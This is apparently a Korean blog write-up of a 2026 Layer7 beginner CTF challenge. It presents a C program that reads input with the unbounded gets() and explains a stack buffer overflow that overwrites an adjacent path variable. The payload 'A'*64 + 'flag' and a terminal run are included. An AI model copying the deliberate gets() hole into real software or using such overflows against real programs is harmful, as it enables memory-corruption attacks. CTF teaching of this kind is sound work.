imnyang's workspace

뒤로

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

void read_file(char *path) {
    char buf[128] = {0};
    int fd = open(path, O_RDONLY);
    read(fd, buf, sizeof(buf));
    puts(buf);
    close(fd);
}

int main() {
    char path[16];
    char input[64];

    strcpy(path, "./sunrin");

    printf("input: ");
    gets(input);

    read_file(path);

    return 0;
}
c

문제 설명#

이 문제는 gets() 함수로 인해 발생하는 Buffer Overflow를 이용해서 스택에 있는 path 변수 값을 바꾸는 문제예요.

char path[16];
char input[64];

strcpy(path, "./sunrin");

printf("input: ");
gets(input);

read_file(path);
c

처음에는 path./sunrin이 들어가 있어요.
그래서 원래라면 read_file("./sunrin")이 실행돼요.

하지만 gets(input)은 입력 길이를 제한하지 않기 때문에, input 버퍼 크기인 64 byte를 넘어서 입력하면 스택에 있는 다른 변수까지 덮어쓸 수 있어요.

스택에는 대략 아래와 같이 변수가 배치돼요.

input[64]
path[16]
text

input에 64바이트보다 긴 값을 넣으면, 바로 뒤에 있는 path 값을 덮어쓸 수 있어요.
또한 gets(input);를 사용했기에 입력하는데 글자수 제한이 없어요.

풀이 방법#

path./sunrin에서 flag로 바꾸면 돼요.

필요한 payload는 아래와 같아요.

"A" * 64 + "flag"
text

input[64]를 A로 채우고, 그 뒤에 있는 path 영역을 flag로 덮어쓰는 방식이에요.

그러면 프로그램은 마지막에 아래 코드로 flag 파일을 읽게 돼요.

read_file(path);
c
imnyang@hako:~/t/baggourchigi > ./chall
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag
Layer7{**flag**}
bash
-----BEGIN SSH SIGNATURE-----
U1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAg4c/dn4BitGH1/xNjKoKEp97I2b
eU57QXvkDBEdNNrEMAAAATYmxvZy5pbW55YS5uZy9wb3N0cwAAAAAAAAAGc2hhNTEyAAAA
UwAAAAtzc2gtZWQyNTUxOQAAAEAaoiM+TQmAhn8kUwuwUGvQPXNz5vb7vwALRSGWuorCX3
oganUt5JReE9ZIfMfSq6ncq3igcj/hgVePAg05flUN
-----END SSH SIGNATURE-----
2026 Layer7 신입생 CTF - 바꿔치기 풀이
http://blog.imnya.ng/layer7/beginner-ctf/baggourchigi
저자 imnyang
게시일 2026년 06월 23일